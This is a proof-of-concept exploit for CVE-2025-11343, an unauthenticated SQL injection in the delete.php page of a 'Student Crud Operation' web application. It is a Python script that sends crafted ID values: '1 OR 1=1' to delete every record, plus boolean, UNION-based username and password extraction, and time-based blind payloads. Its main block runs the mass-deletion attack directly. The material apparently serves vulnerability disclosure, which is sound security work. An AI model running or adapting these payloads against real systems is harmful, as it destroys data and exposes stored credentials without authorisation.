CVE-2025-11343：code-projects Student Crud Operation SQL注入漏洞

# CVE-2025-11343 - Student Crud Operation SQL Injection PoC # Vulnerability: Unauthenticated SQL Injection in delete.php via ID parameter # Allows mass deletion of database records import requests # Target configuration TARGET_URL = "http://target-host/path/to/delete.php" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in the ID parameter of delete.php The ID parameter is directly concatenated into SQL query without sanitization. """ # The vulnerable endpoint expects an 'ID' parameter params = { "ID": injection_payload } # Send the malicious request - no authentication required response = requests.get(target_url, params=params) print(f"[*] Target URL: {target_url}") print(f"[*] Payload: {injection_payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response # Example 1: Mass deletion - delete all records from the table # Original query: DELETE FROM students WHERE id = $ID # Injected query: DELETE FROM students WHERE id = 1 OR 1=1 payload_mass_delete = "1 OR 1=1" # Example 2: Boolean-based injection to test vulnerability payload_test = "1' OR '1'='1" # Example 3: UNION-based injection to extract data payload_union = "1 UNION SELECT username, password FROM users-- -" # Example 4: Time-based blind injection payload_timeblind = "1' AND SLEEP(5)-- -" if __name__ == "__main__": print("=" * 60) print("CVE-2025-11343 PoC - Student Crud Operation SQL Injection") print("=" * 60) # Execute mass deletion attack print("\n[!] Executing mass deletion attack...") exploit_sql_injection(TARGET_URL, payload_mass_delete) # Test for boolean-based injection print("\n[!] Testing boolean-based injection...") exploit_sql_injection(TARGET_URL, payload_test) # Attempt UNION-based data extraction print("\n[!] Attempting UNION-based data extraction...") exploit_sql_injection(TARGET_URL, payload_union)